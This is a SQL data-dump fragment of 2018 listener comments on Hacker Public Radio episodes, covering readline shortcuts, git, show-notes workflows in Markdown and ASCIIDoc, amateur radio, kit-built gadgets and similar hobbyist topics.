(2338,2498,'2018-03-03 23:38:29','Draco Metallium','No more e-mails on my phone.','Thanks, I had not realize that I really don\'t need the gmail app.\r\n\r\nMost of the time it was just annoying, I am almost always in front of a computer, so I would have find out about the new email a few seconds later. And for some reason the spell checker does not work if you updated it.\r\n\r\nYou have just freed me and my ram.','2018-03-04 09:17:31'),
(2339,2501,'2018-03-05 05:36:54','Clinton Roy','Thank you.','Tricky bastards...','2018-03-05 08:28:50'),
(2340,2403,'2018-03-05 13:44:32','Ken Fallon','Waveform Site','https://pudding.cool/2018/02/waveforms/','2018-03-05 13:50:10'),
(2341,2500,'2018-03-06 15:50:20','Steve','How in the world...','My question is, how many hours per day do you spend listening to podcasts? And are there that many hours in a day?\r\n\r\nThanks for the episodes. Quite the list.','2018-03-06 15:53:22'),
(2342,2499,'2018-03-06 20:33:46','Michael','Great show!','I love the idea of tuning around and simply demonstrating what you can hear. However, I would suggest to add a bit more of commentary to make it more meaningful to those who not already know what they are listening to. \r\n\r\nLet me add, that the morse code (CW) signal in both cases was a french station F5IN. Calling CQ DX, a general call for far away stations, in the first bit and just finishing a transmission in a contact in the second one.\r\n\r\nWhen Tom, DF2BO, described his antenna set up, this left me mouth gaping. Yagis 2 elements on 80m (3.5Mhz) and 3 elements on 40m (7Mhz)! These are monsters, way beyond what any \"normal\" amateur will be able to put up. Just an amazing configuration, that almost makes me drool, when thinking about... \r\nI think this is the kind of background information that makes sense to add, to put the audio in context.\r\n\r\nRegards,\r\nMichael','2018-03-06 20:37:45'),
(2343,2500,'2018-03-07 01:05:49','Kevin O\'Brien','It\'s just what I do','I do listen to a lot of podcasts, but one thing is that I speed them up by 70%, and the other is that I listen during many activities: driving, washing the dishes, going shopping, working out at the gym; they are all opportunities to listen.','2018-03-07 07:57:24'),
(2344,2503,'2018-03-07 04:10:22','Clinton Roy','Wow','What a great story! I\'m not into music podcasts at all really though (can\'t speed them up ;) but this was a fascinating look behind the scenes of a professional.','2018-03-07 07:57:24'),
(2345,2501,'2018-03-07 16:43:48','clacke','Re: flea market','or a yard sale or a garage sale or maybe a ...\r\n\r\nhttps://hooktube.com/watch?v=bFOPwL32UvI','2018-03-07 16:53:34'),
(2346,2503,'2018-03-08 23:03:20','thelovebug','Re: Wow','Thanks Clinton, I\'m really glad you enjoyed the episode.  The last 10 years have really been a blast, and I can see many more podcasting years ahead!\r\n\r\nI\'ve had a few people call me \"professional\" and, whilst that isn\'t strictly true, I\'d be lying if I said I wouldn\'t want to be!!','2018-03-08 23:05:48'),
(2347,2505,'2018-03-09 20:49:24','Jan','Some Lines Of Support','Hi Dave!\r\n\r\nThanks a lot for Your effort.\r\n\r\nIf a machine is under heavy load and therefor kind of not responsive anymore that readline-magic comes in handy. Same goes for a slow link between a users terminal and a remote machine.','2018-03-09 21:04:18'),
(2348,2505,'2018-03-10 03:25:54','Clinton Roy','Comment Command','I was not aware of the comment/decomment commands, they might be useful.','2018-03-10 09:45:52'),
(2349,2486,'2018-03-10 15:14:56','MrX','Re Quite a haul!','Hi Dave I\'m not surprised you didn\'t know about this as there are not many  amateur radio rallies held in these parts I only know about it because I was a long time ago a member of the Cockenzie and Port Seton Amateur Radio Club. This event is a mini radio rally it originally went under the title of junk night but has since gone up market, it\'s held at Cockenzie &amp; Port Seton Community Centre usually around the beginning of August, I\'ve been going there for a number of years now best bit about it is meeting up with old friends and sampling some of the home made food. On the haul I usually end up with very little I just happened to be lucky this year.','2018-03-10 15:17:32'),
(2350,2499,'2018-03-10 16:46:45','MrX','re Great show!','Hi Michael, many thanks for the comment, glad you enjoyed the show and your probably correct that a bit of commentary might have been a good idea. There was a couple of reasons that I chose not to add any commentary first it made the podcast easier to make but the real reason was that I was trying to create a bit of mystery for people that had never heard the strange sounds you\'d find when tuning around the amateur radio HF band which I thought might be the case for a large portion of the audience. \r\n\r\nWhen I was a young boy I remember listening to old second world war valved receivers that I occasionally had access to and was fascinated by the strange sounds and voices having no idea what I was listening to I thought initially giving no explanation would create more intrigue for those that had never heard HF before and if there interest was gripped then they could have a look for some show notes. I\'ll probably add some commentary next time if I do a similar show.\r\n\r\nPS many thanks for deciphering the Morse code (CW), and yes that was some incredible set-up DF2BO had certainly beats my half wave dipole flung in the loft :)','2018-03-10 16:55:46'),
(2351,2502,'2018-03-10 19:57:15','Windigo','Two comments','Firstly, after hearing the title of this episode I thought you were going to be discussing how much three-dimensional space your thoughts took up. That\'s not something I\'ve ever considered before.\r\n\r\nSecondly, when you actually discussed the \"loudness\" of your own thoughts and what types of sounds successfully caused you to lose track of them, it was ALSO something I\'d never considered.\r\n\r\nWell done, Sir. Well done.','2018-03-10 20:03:40'),
(2352,2505,'2018-03-11 13:02:59','clacke','Surprisingly useful','I went into this thinking \"bah, readline, it\'s C-r, C-a, C-e, some kill and yank, what\'s to learn?\". But it was Dave, and somehow there was a Part 3, so maybe there were something useful in there?\r\n\r\nWow, I was so wrong about knowing everything there is to know about readline. I don\'t know how useful the capitalization things are, and C-t I already knew about and I think it\'s mostly useful for when you have pressed C-t by mistake ... but M-b and M-f, OMG.\r\n\r\nI have needed these for years. I usually hop around with C-left and C-right, but when you\'re one mosh, one tmux and one su down, usually all arrow keycodes are long gone, and it\'s all misery. Now with M-b and M-f my life quality will drastically improve!\r\n\r\nAlso interesting to know what the args thing is for. I\'ve been vaguely aware of it as it\'s easy to trigger by mistake, but I think I will use it more now that I have been taught exactly what it does. Maybe for counting the length of git commit messages, for example. You want a 60-character max commit message length? M-6 0 C-b after you typed your message will show you by how much you overran the limit!\r\n\r\nThanks, Dave. As always a great contribution, even for those of us who may think we already know everything.','2018-03-11 13:06:02'),
(2353,2509,'2018-03-15 09:44:38','Clinton Roy','interesting','This was an interesting discussion, maybe because of the disagreements?\r\n\r\nAlso, thank you for the audio notes.','2018-03-15 12:42:11'),
(2354,2507,'2018-03-20 22:06:14','clacke','Re: that info.rkt for a node','Correction to correction: No I didn\'t misspeak anything, we just misunderstood each other. Sorry for the confusion. :-)','2018-03-20 22:08:47'),
(2355,2514,'2018-03-22 07:24:04','thelovebug','Blind faith','I haven\'t even listened to the episode yet, but I\'ve just ordered myself one of those calculator kits from Amazon!','2018-03-22 09:24:12'),
(2356,2514,'2018-03-22 19:46:26','NYbill','Enjoy the kit, Dave.','I warn about a few small pitfalls I ran into while building it. Hope it saves you the same trouble.','2018-03-22 20:12:51'),
(2357,2508,'2018-03-23 07:44:35','clacke','You\'re right to worry, but ...','Musk isn\'t the only one. He\'s the one who got the furthest, and who has the grandest master plan. But don\'t forget about Bezos and Branson and their space ventures.\r\n\r\nSo, I don\'t think we\'re pinning our hopes on one man. But my answer reveals something else. We\'re still pinning our hopes on Great Men (as in the Great Man theory of history). Musk, Bezos and Branson aren\'t geniuses in the sense that they are sciencing and engineering all this stuff when nobody else could, they\'re just hiring the people who do.\r\n\r\nStill, I think people fawning over Musk is awesome, because it means people are pinning their hopes on research, engineering and entrepreneurship, because that\'s what he symbolizes. And hustling the money and funneling it in the right direction isn\'t nothing either.\r\n\r\nIt\'s far better than people admiring people who literally don\'t contribute anything, or are contributing negatively, to furthering the knowledge and power of the human race, like David Avocado Wolfe, Dr. Oz or Gwyneth Paltrow.\r\n\r\nOk, so we\'re not at the mercy at a single man, but we are at the mercy of three men? No. Don\'t forget about China and India, and old spacer-travelers Japan and ESA, and even Russia! They\'re also further into space than Bezos or Branson, and on some axes further than Musk.\r\n\r\nI\'m not overly worried. Humanity will get our eggs in a second basket before the century is over.','2018-03-23 08:24:41'),
(2358,2514,'2018-03-24 23:57:21','thelovebug','Done and dusted','Bought it, built it!  Surprisingly straight forward, thanks a) to your advice nybill, and b) the link you couldn\'t get to worked first time for me had a pretty detailed picture guide.\r\n\r\n\"It\'s a bit clicky,\" says the wife, so all the more reason to use it.\r\n\r\nSo, here is a PG-13 picture of the calculator in action:\r\nhttps://next.thelovebug.org/index.php/s/apL8pxrX7Spd6Bc\r\n\r\n(I managed to break my GMG instance without even knowing about it! My next project, perhaps?)','2018-03-25 09:10:46'),
(2359,2505,'2018-03-25 16:56:39','Dave Morriss','Thanks for the comments','Thanks Jan, Clinton Roy and clacke.\r\n\r\nI\'m glad you are finding the series useful.\r\n\r\nI had known of Readline\'s existence for years, and that there were some features that might be useful, but had never spent the time to find out what it could do. I am most surprised at the amount of work that has gone into this library and the great features it offers.\r\n\r\nI expect to be able to get another couple of shows from it before I\'m finished, and there\'s scope for others to contribute too if they work out cool things to do with it!','2018-03-25 16:58:18'),
(2360,2508,'2018-03-26 19:20:28','Lostnbronx','I Agree With You, But...','I think China is our biggest chance for competition, in the long run, but they aren\'t moving quickly. That may change. I hope it does.\r\n\r\nI also believe that the commercialization of space is the only real future it can possibly have. If people can\'t at least hope for a better life out there, they won\'t bother. China may be a big player here too, since it has no problem sponsoring large-scale commercial ventures.\r\n\r\nLooked at from that point-of-view, though, business people like Musk and the others may turn out to be our last best hope for humanity, after all. I sure wouldn\'t mind being wrong!','2018-03-26 19:28:01'),
(2361,2516,'2018-03-27 01:17:50','Mike Ray','Intro to git','Great podcast.\r\n\r\nI\'ve been using git for a few years now but there is something new even for a seasoned git user in this series.\r\n\r\nIt\'s a subject that needs clarity, because a lot of the online stuff about git is complex and confusing.\r\n\r\nMore please. And more about this kind of DevOps related stuff, and more server config and admin','2018-03-27 06:53:42'),
(2362,2515,'2018-03-27 08:10:58','clacke','Markdown shownotes','klaatu and Ken were discussing the merits on Markdown and the horribleness of the multitude of markdown flavors.\r\n\r\nHere\'s what I do for shownotes: I write on hashify.me.\r\n\r\nMarkdown on the left, live rendered text on the right so you can easily Ctrl-click links to check them etc. Then I mark the text on the right, right-click and choose \"View selection source\" (this is on Firefox). It opens a new tab with the source almost correctly marked. I mark it, copy and then paste into the show notes textbox and choose HTML5 as text type.','2018-03-27 08:14:15'),
(2363,2508,'2018-03-28 10:48:12','Ken Fallon','Wendover Productions video','Interesting \"Space: The Next Trillion Dollar Industry\"\r\n\r\nhttps://www.youtube.com/watch?v=hiRBQxHrxNw','2018-03-28 11:10:23'),
(2364,2537,'2018-03-29 01:17:37','clacke','An update','When uploading the other shows I noticed that they had some weird clicks and jumps in them. Apparently I had turned on \"skip silence\" when I played with the settings. My recommendation is: don\'t.','2018-03-29 07:50:14'),
(2365,2453,'2018-03-31 19:52:18','Hipstre','GNU Readline 2','Enjoying the series. I am doing a tutorial on creating a LisP in C (which I heard about on HPR) and it uses Readline. So I came back to listen to this series. I always learn something. There\'s always an \"Aha!\" moment. Thanks!','2018-03-31 20:05:42'),
(2366,2518,'2018-04-01 01:02:47','mongo','Good tutorial','Steve Saner gives a good tutorial on a way to add Windows to a Linux computer. I found the part about getting data from his old encrypted drive most interesting, as I have been a bit afraid of encrypting a drive for fear of finding myself locked out.\r\n\r\nI am glad that he was able to use some information from my HPR show from last year on the subject of adding dual boot to my laptop.\r\n\r\nAlso, very good show notes for someone following his lead.','2018-04-01 06:28:55'),
(2367,2521,'2018-04-02 14:37:25','the_remora','Handle Origin','I pulled the name the_remora from Glenn Cook\'s Garrett PI series of novels. The Remora is a nickname of a tertiary character from the later books in the series.','2018-04-02 14:46:38'),
(2368,2515,'2018-04-04 01:35:03','clacke','ASCIIDoc shownotes','If you like ASCIIDoc, you can type your shownotes on https://asciidoclive.com/ and then do the same thing as I described above with hashify.me.\r\n\r\nJust like hashify, asciidoclive allows you to type on the left, see the result on the right.','2018-04-04 07:15:23'),
(2369,2515,'2018-04-04 12:00:53','Dave Morriss','Markdown/ASCIIDoc','Hi clacke,\r\n\r\nA couple of interesting finds. I use both Markdown (Pandoc flavour mostly) and ASCIIDoc (via Asciidoctor).\r\n\r\nI write all my HPR shownotes with Markdown, using Vim on one monitor and a browser on the other, building the output with Pandoc via Make, using Vim\'s \'make\' interface to do it.\r\n\r\nI also like to write a journal per project and use ASCIIDoc for that because I can generate much more interesting documents with colour, side notes, icons, good tables and so on. Again Vim lets me type the document with syntax highlighting, build it with \'make\' and display it on my right-hand monitor using a dedicated browser (I like QupZilla at the moment).\r\n\r\nMy solution is probably massively over-engineered but I like it :-)','2018-04-04 12:03:04'),
(2370,2515,'2018-04-04 13:38:29','clacke','Overengineering','Doesn\'t sound terribly overengineered to me, it\'s just that my web editing workflow is minimalistic almost to a fault.\r\n\r\nI have an engineered piece you can add to your solution: Trigger the builds automatically with entr[0]. That allows you to even skip the make step in vim. Just save and things happen.\r\n\r\nActually what I often do is I just `watch make` in the directory where I\'m editing, or `while sleep 5; do make; done`.','2018-04-04 13:44:09'),
(2371,2254,'2018-04-04 15:38:58','John E Thompson','Great Show','I am an avid rocketeer and enjoyed listening to your show.\r\n\r\nHow have your future rocket projects been?','2018-04-04 16:01:55'),
(2372,2254,'2018-04-04 17:47:44','Steve','Re: Great Show','I\'m glad you enjoyed it. The project that I referred to in the episode didn\'t go quite as planned, but I\'ll give it another try at some point. Several other projects in the works as well. I\'d be interested to hear about some of your projects.','2018-04-04 19:36:01'),
(2373,2515,'2018-04-05 11:59:46','Dave Morriss','Re: Overengineering','Thanks clacke,\r\n\r\nI have used \'entr\' in the past, actually to refresh my note-viewing browser when the notes change. I now use Qupzilla because it does that all by itself, which is very cool!\r\n\r\nI will think about using \'entr\' or \'watch\' in future, but for HPR shownotes I have several \'make\' targets, so I\'m not sure if I want to automate them all.\r\n\r\nFor example I use \'make final\' to generate notes with HPR links rather than the local ones I use while developing them, and I can only do that once I have chosen a slot and know what the HPR links will be. Of course, I could trigger the \'make final\' once the slot has been selected. \r\n\r\nAnyway, thanks for the idea :-)','2018-04-05 12:12:19'),
(2374,2515,'2018-04-05 14:25:25','clacke','Re: Overengineering','It seems that when I countered that your setup didn\'t seem massively overengineered, I was simply insufficiently informed.\r\n\r\nNow that this has been somewhat remedied, I agree with your assessment.','2018-04-05 14:27:44'),
(2375,2557,'2018-04-06 06:19:41','clacke','Addendum: Styx was written by Eric Sagnes','I neglected to name the author, because his name wasn\'t on my mind at the time.\r\n\r\nStyx was written by Eric Sagnes, and if you look at his repositories on github[0], it\'s not really surprising that he would be the one to write a site generator in Nix. :-)\r\n\r\n[0] https://github.com/ericsagnes?tab=repositories','2018-04-06 08:50:09'),
(2376,2518,'2018-04-06 10:23:58','Ken Fallon','Is OpenSCAD an alternative to Autodesk Fusion 360 ?','https://www.openscad.org/about.html\r\n\r\nAbout OpenSCAD\r\nOpenSCAD is software for creating solid 3D CAD models. It is free software and available for Linux/UNIX, Windows and Mac OS X. Unlike most free software for creating 3D models (such as Blender) it does not focus on the artistic aspects of 3D modelling but instead on the CAD aspects. Thus it might be the application you are looking for when you are planning to create 3D models of machine parts but pretty sure is not what you are looking for when you are more interested in creating computer-animated movies.\r\n\r\nOpenSCAD is not an interactive modeller. Instead it is something like a 3D-compiler that reads in a script file that describes the object and renders the 3D model from this script file. This gives you (the designer) full control over the modelling process and enables you to easily change any step in the modelling process or make designs that are defined by configurable parameters.\r\n\r\nOpenSCAD provides two main modelling techniques: First there is constructive solid geometry (aka CSG) and second there is extrusion of 2D outlines. Autocad DXF files can be used as the data exchange format for such 2D outlines. In addition to 2D paths for extrusion it is also possible to read design parameters from DXF files. Besides DXF files OpenSCAD can read and create 3D models in the STL and OFF file formats.','2022-02-14 13:18:05'),
(2377,2518,'2018-04-06 15:33:39','Steve','Really a different category of software','If the question is, \"can you do 3D modeling with OpenSCAD?\", then the answer is yes. However, as I understand it, considering OpenSCAD an alternative to things like Fusion 360 and SolidWorks and others, is a bit tough. The open source world also has Blender, with which you can do 3D modeling too. But again, as I understand it, the way these options work is a lot different and they lack many of the features present in the commercial products.\r\n\r\nIt is worth mentioning that there are a few 3D modeling options out there that are not open source, but do work with Linux due to the fact that they are cloud/web based. OnShape.com comes to mind.\r\n\r\nSo, while there are alternatives, sort of, Fusion 360 seems to be becoming the software of choice in \"Maker\" circles.\r\n\r\nI am a beginner at this, so these are mostly just my perceptions. Eventually, I may be able to speak with more authority, or at least more experience.','2018-04-06 15:36:14'),
(2378,2521,'2018-04-07 10:00:40','clacke','Re: AND THEN IT\'S GOT DIVS IN IT!!','To be clear, the HTML that had the divs in it was the asciidoc output, which I have just recently started using. The output from hashify.me has been nice and clean with no risk of having Ken pull his hairs out in frustration.\r\n\r\nOur shared adventures with asciidoc, which played out in the comments, on the Fediverse and in private e-mail are fodder for a future episode on my new shownotes workflow. Yes, I owe you one.','2018-04-07 10:21:41'),
(2379,2521,'2018-04-09 19:43:04','Kevin O\'Brien','My name','I heard you stumble over whether to call me \"Ahuka\" or just \"Kevin\". I  believe that if I had to do it over again I would just use my name. When I joined it looked like people were using pseudonyms so I did as well, but it is not like I am hiding anything here.','2018-04-09 19:47:37'),
(2380,2521,'2018-04-12 13:23:47','clacke','Living the dream','I am indeed living the dream. I am working on cool software, it\'s all free software out in the open, and I\'m getting paid.\r\n\r\nCommunicating what it is that Fractalide does is obviously something we need to work on. I know that when I saw it the first time two years ago I read the homepage at the time, and came away no wiser as to what was going on. Now I\'m cursed with knowing what it is and no longer capable of experiencing what it is that a newcomer will need to now.','2018-04-12 13:26:05'),
(2381,2485,'2018-04-14 23:37:27','Draco Metallium','Two months without a new transmission','Where is the wisdom from outer space when we need it the most?','2018-04-15 06:50:06'),
(2382,2538,'2018-04-25 16:27:42','tuturto','Such a beautiful soundscape','While listening podcast about network design was interesting in itself, the soundscape of the episode is what sold me. It was like listening to Joy of Painting again with Bob Ross calmly explaining what he\'s about to do in such a friendly way.','2018-04-25 16:32:25'),
(2383,2524,'2018-04-29 18:51:24','Windigo','Thanks for the introduction','First of all, welcome to HPR. This is an excellent first episode!\r\n\r\nThank you for explaining the general problem solver. I haven\'t encountered this in my time as a programmer, and found the concept - and your introduction to it - to be very interesting.\r\n\r\nI look forward to any other episodes you have planned!','2018-04-29 18:55:22'),
(2384,2540,'2018-05-01 00:04:13','Gavtres','TLS 1.3','Great episode about TLS 1.3! I just chuckled with the IETF comments about adding a decrypt function.','2018-05-01 06:42:17'),
(2385,2536,'2018-05-02 16:51:17','Fweeb','2nd person','I think you might be a bit mistaken about 2nd person POV. My understanding is that it\'s not a distant pronoun (he or she)... that\'s still 3rd person. 2nd person is almost exclusively using \"you\" as the subject of the sentence for an action from the main character. So, useful in writing interactive stories... tougher for pure narrative.','2018-05-02 17:09:55'),
(2386,2536,'2018-05-02 17:02:39','clacke','Chinese','It occurred to me that from what I know about Chinese, in particular Cantonese, most of what you are saying about these nuances goes away.\r\n\r\nYou say that by just this little change in tense, you\'ve already communicated something about the whole situation. In Chinese you can\'t really do that. If you try, you\'re making your text just unnatural and cumbersome to read. Must be a real challenge for translators in either direction.\r\n\r\nFrom my personal conversations I also know that even pretty accomplished speakers coming from Chinese languages don\'t pick up on these cues when speaking English. All tense just goes through type erasure in parsing.','2018-05-02 17:09:55'),
(2387,2381,'2018-05-02 23:26:51','Brian DeRocher','open source games','What does the FLOSS landscape look like for fantasy games?','2018-05-03 06:46:15'),
(2388,2536,'2018-05-03 05:29:55','lostnbronx','Fweeb, I think you\'re right','I misspoke, getting my POV names and distinctions mixed up a bit. I think I give enough examples in the episode to make it clear what I\'m really talking about, though, and still stand by my observations about how they affect story construction.\r\n\r\nThanks for the correction!','2018-05-03 06:46:15'),
(2389,2541,'2018-05-03 07:16:51','folky','Very quit','Your show was very quiet. I had to go 100&percnt; on the volume to understand you. I partly would blame the wind screen. Because, when you took it off, you got louder.','2018-05-08 14:31:47'),
(2390,2546,'2018-05-07 16:17:41','clacke','Re: butchering','No butchering of \"fractalide\"! We pronounce it lile you do.\r\n\r\nNow, \"tertiary\" and \"tuturto\" on the other hand ... ;-)','2018-05-07 17:10:01'),
(2391,2547,'2018-05-08 12:27:50','ClaudioM','MSYS2 is What Cygwin Should Be','First off, thanks for the mention, good sir! :-)\r\n\r\nSecondly, thank you for this episode.  As much as I use Cygwin at work, I despise...DESPISE...having to use the Cygwin Installer to install/update/remove packages.  MSYS2 is what I\'ve always wanted from Cygwin: an integrated, command line package manager for updating packages inside of the POSIX-compatible environment, just as you would do on any Unix-like system.\r\n\r\nI\'ll have to start backing up my configuration files in order to make the big switch on my Windows PCs at work.','2018-05-08 13:01:20'),
(2392,2547,'2018-05-08 14:26:09','Gavtres','Git Bash','Linux newbie here. I am working on a new project and last week, as a requisite, needed to install Git for Windows. I was wondering about the voodoo magic behind Git Bash, so thank you for the explanation.\r\n\r\nBy the way, cool alternate \"beatbox\" version of the HPR outro. :-)','2018-05-08 14:28:32'),
(2393,1762,'2018-05-12 21:26:03','dodddummy','Tickles me in places I\'m not sure I\'m comfortable with','This tickled all of my private places.  Ok. just the references to free culture.\r\n\r\nLoved the reader\'s voice.  Liked the story.\r\n\r\nI agree with pokey about the timing of things regarding can food, MREs et al.  But it didn\'t keep me out of the story.  I thought it was strange that people had forgotten so much in so few years.  But I\'ve some real life situations where people weren\'t taught anything for a generation and it is a bit like this.\r\n\r\nI liked the \'glitches\' these guys mentioned.\r\n\r\nI can confirm that the issue with the ogg files is the album art.  I didn\'t listen to this until after I listened to the audio book.  I had the same issue.  Downloaded fine but wouldn\'t play in rockbox.  A little searching lead me to a suggestion that if an ogg file plays ok in vlc other other players but not rockbox, the album art is a likely culprit.\r\n\r\nRemoved them with Audio Tag Tool and all is well.  If memory serves, the rockbox folks says it\'s because it only has 1mb for meta data.','2018-05-12 22:43:38'),
(2394,2551,'2018-05-14 21:01:33','mcnalu','Oscillowant','I too have a secret desire for an oscillascope. I\'m building a wee one from a kit just now but that\'s mostly for fun. I\'ll need one that can handle 25MHz clock signals for troubleshooting my poorly Amiga 3000, hence my interest in this show.\r\n\r\nAlso, the HPR robot calls you nibble too! :D','2018-05-14 21:09:30'),
(2395,2551,'2018-05-14 21:37:18','NYbill','A chimp by another name...','Yea, the Espeak kind of butchers my nick. I bet \'En Why Bill\' would sound about right. Hey Espeak, I live in New York! ;)\r\n\r\nGood luck your scope build. 25mhz will be right in the wheel house of the kit type scopes.','2018-05-14 21:42:36'),
(2396,2550,'2018-05-22 18:56:16','redrider06','Howto get started playing RPGs','I started participating in RPGs several months ago but did none of the things mentioned in this presentation prior to actually playing the game.\r\n\r\nMy GM took the small gathering of curious gamesters through a couple of relatively short scenarios/stories which kept the interest up and the mechanics of everything mentioned in this podcast at a double arm&rsquo;s length away. We didn&rsquo;t know it then but it kept us focused on the game rather than too many details of characters. Sure, we still built characters but it was a very abbreviated process. Not until some months and many game sessions later did I actually do my own research and discovered parts of what this podcast brings together very succinctly. And now that I know a bit more about the whole process, this podcast is all the more interesting.\r\n\r\nLostnbronx and Klaatu have done a splendid job of laying out a very understandable and approachable process for those curious about taking part in an RPG. (The sound production was stellar too.) Well done, gentlemen.','2018-05-22 19:06:00'),
(2397,2560,'2018-05-25 04:58:30','clacke','The date','How very appropriate that this would be released precisely for May 25th. :-)','2018-05-25 07:20:53'),
(2398,2556,'2018-05-25 16:00:04','Ken Fallon','Profound','From https://hackerpublicradio.org/about.php\r\n\r\n\"Anyone who has shown a long term dedication to the project and is trusted by the community, can become an admin.\"','2022-02-14 13:18:05'),
(2399,2560,'2018-05-25 19:59:33','NYbill','Nice TLDR.','Nice summery of the GDPR, Ken. I was wondering what this was all about.   And I have noticed everyone and their brother sending out policy updates these days.  But, as I doubt the GDPR pertains to my little servers I wasn\'t really paying much attention. \r\n\r\nYou did the deep dive for me. ;) \r\n\r\nBTW, you might want to do Noise Reduction, then Truncate Silence.  This one sounded a bit like a guy on radio keying up the mic at random times while talking. :P','2018-05-25 20:05:06'),
(2400,2549,'2018-05-30 19:55:35','Klaatu','neat','Nice to hear Slackware 32-bit still coming in useful. I don\'t mind that so many Linux distros are discarding 32-bit as long as somebody keeps it around, because while 32-bit hardware is fading, there\'s still a LOT of it out there.','2018-05-30 19:58:36'),
(2401,2158,'2018-06-05 11:14:19','MathMann','Art Club','Great show and it sounds like a great way to delve into one of the mainstays of human life - sharing it and the world around us with those around us.  Thanks Brian for giving all a way to connect and learn.','2018-06-05 11:40:23'),
(2402,1992,'2018-06-07 11:23:11','folky','Changed links to my gits','I just migrated from github to gitlab. So do a s/hub/lab/g in above links.\r\nFor those who didn\'t heard about it, on the following link you find the cause for the migration: https://blog.github.com/2018-06-04-github-microsoft/','2018-06-07 11:31:21'),
(2403,2568,'2018-06-11 15:00:12','norrist','Receint pocdast on US Social Security','If you are interested,  one of my _other_ favorite podcasts just did an episode on Social Security.\r\n\r\nhttps://www.npr.org/sections/money/2018/06/06/617662100/social-insecurity','2018-06-11 15:03:36'),
(2404,2558,'2018-06-14 15:31:10','Michael','Great idea!','Thanks for starting that series!\r\nWhile the first examples were quite obvious to me, I can see how they can be helpful on a global scope, given the diverse international HPR community.\r\nFort the last bit, I have to admit that those were actually two new words I learnt (make that three with \"learnt\" :-)).\r\n\r\nRegards,\r\nMichael','2018-06-14 15:36:55'),
(2405,2558,'2018-06-14 17:25:59','Dave Morriss','Thanks Michael','Glad you liked the episode.\r\nI\'m amazed by the number of times I see the then/than and there/their/they\'re errors in forums, YouTube comments and similar. I don\'t know if it\'s an autocorrect problem or what it is, but it\'s very common.\r\nI\'m actively collecting similar problems, so I hope I\'ll have enough to make a few more episodes!','2018-06-14 18:50:26'),
(2406,2558,'2018-06-15 12:08:05','Hipstre','Battling With English','Interesting! I\'d like to hear a little bit about the origins of the mixups when it is historically interesting... Like, perhaps, one word comes from French and the other from German. But not necessary, viewing Communication as the problem and English as a flawed tool to solve it is a good route to take. Looking forward to the next one.','2018-06-15 12:10:54'),
(2407,2566,'2018-06-15 14:24:50','clacke','The group of the tab is in the windowing (of it)','I\'ve never looked into tab grouping, because what I do, if my tabs start becoming unwieldy, is that I drag one of them out of the window, and it becomes a new window. I may drag other tabs into that new window if they belong together.\r\n\r\nYou people who use tab grouping, do you do this as well, giving you two-dimensional tab grouping, or does grouping replace multiple windows?','2018-06-15 14:36:41'),
(2408,2562,'2018-06-15 14:29:03','clacke','Pinebook','As noted on May Community News[0], the laptop I\'m still queueing for is the PineBook[1].\r\n\r\n[0] https://hackerpublicradio.org/eps.php?id=2566\r\n[1] https://www.pine64.org/?page_id=3707','2022-02-14 13:25:06'),
(2409,2557,'2018-06-15 14:41:21','clacke','Killer feature','I forgot to mention the killer feature, which is why we use Styx, apart from our great love for Nix: The ability to easily include content from remote sources.\r\n\r\nAs Styx uses Nix for getting its inputs, it\'s just as easy to build a page off a file in your local repository as getting a file from a remote repository, http URL, a whole bunch of files, or anything you can compute or get from a network, really.\r\n\r\nIn fact, even the default templates in Styx are fetched this way: If you never use them, they never touch your computer, but if you include the standard templates in your site definition, Styx knows to go out and fetch them and put them in the right places.\r\n\r\nWe use this to get documentation and changelog from our code repository into our web site.','2018-06-15 15:05:01'),
(2410,2552,'2018-06-15 14:51:54','clacke','Clarification','It seems this is the month of clarifications, judging from the feedback from Ken and Dave on the Community News. :-)\r\n\r\nI\'m adding a deeper Stow show to my future shows tag.\r\n\r\nBut for now, here\'s what Dave was asking for:\r\n\r\nStow doesn\'t use any configuration, it\'s all simple, hard-coded behavior. When it stows things it puts things in the parent directory of the stow directory:\r\n\r\nIf your are in /home/clacke/stow and you do stow foo, any stuff in e.g. /home/clacke/stow/foo/lib gets symlinks in /home/clacke/lib .','2018-06-15 15:05:01'),
(2411,2542,'2018-06-15 15:00:51','clacke','What is SparkleShare?','Apparently I didn\'t explain what SparkleShare is!\r\n\r\nIt\'s \"DropBox for git\". You tell it where your remote git repo is, and it keeps an eye on it and keeps a local directory in sync.\r\n\r\nWhenever anything happens in the remote repo, it pulls that change and makes your local sirectory the same.\r\n\r\nWhenever you add, remove or edit a file in your local directory, it creates a commit for your change and pushes it to the remote repo.\r\n\r\nAny conflicts that occur are resolved by creating a file named something like \"myfile conflicted on 2018-06-15T16:57:45.txt\", so you never have to understand anything about git to use SparkleShare. Just play with your files in your directory.\r\n\r\nThat\'s why it\'s so good for dads.','2018-06-15 15:05:01'),
(2412,2558,'2018-06-15 15:20:26','Dave Morriss','Thanks Hipstre','That\'s a great suggestion. I spent some time looking at the etymology of the words I was talking about, as you can tell from the links, but I didn\'t consider talking about the subject. I\'ll mention such things in the future if it seems relevant.\r\n\r\nThanks for the feedback.','2018-06-15 15:23:08'),
(2413,2566,'2018-06-15 15:53:46','Dave Morriss','I don\'t use multiple windows','In my case I use tab groups to keep useful and related web sites together to make \"context switching\" simpler. For example, in Pale Moon I have a group per HPR series or project, and when I\'m in the mood to prepare a new HPR show I run it on my right-hand monitor with Gvim on the left.\r\n\r\nI usually have Vivaldi, Chromium and IceWeasel running on different XFCE desktops as well, and all of these have pinned tabs so I can easily visit various HPR pages, the most used pages on my local MediaWiki instance, GitLab, GitHub, archive.org, Telegram groups, and so on.\r\n\r\nIt\'s probably (barely) organised chaos, but I like it ;-)','2018-06-15 15:55:08'),
(2414,2576,'2018-06-19 08:14:37','Ken Fallon','Home country of choice','Love that concept.','2018-06-19 11:15:54'),
(2415,2576,'2018-06-20 05:19:18','Clinton Roy','A english/german recommendation','I quite like the  omega tau science &amp; engineering podcast\r\npodcast, it comes in both english and german forms, I don\'t think they translate the content, it\'s just different stories for the different language podcasts.','2018-06-20 06:58:12'),
(2416,2576,'2018-06-20 08:11:10','folky','Here is the link','Thank you, Clinton Roy!\r\nThat one I didn\'t know. I found their page https://omegataupodcast.net/ and shall give the dual-language feed a go on my serverlist: https://omegataupodcast.net/category/podcast/feed','2022-02-14 13:25:06'),
(2417,2579,'2018-06-25 23:43:05','JWP','Great Little update','Tony always so nice to here from you again.\r\nSadly I am driving any Mate right now.  Only two 16.04 boxes maybe after 16.04.1  thanks so much for the update','2018-06-26 07:19:01'),
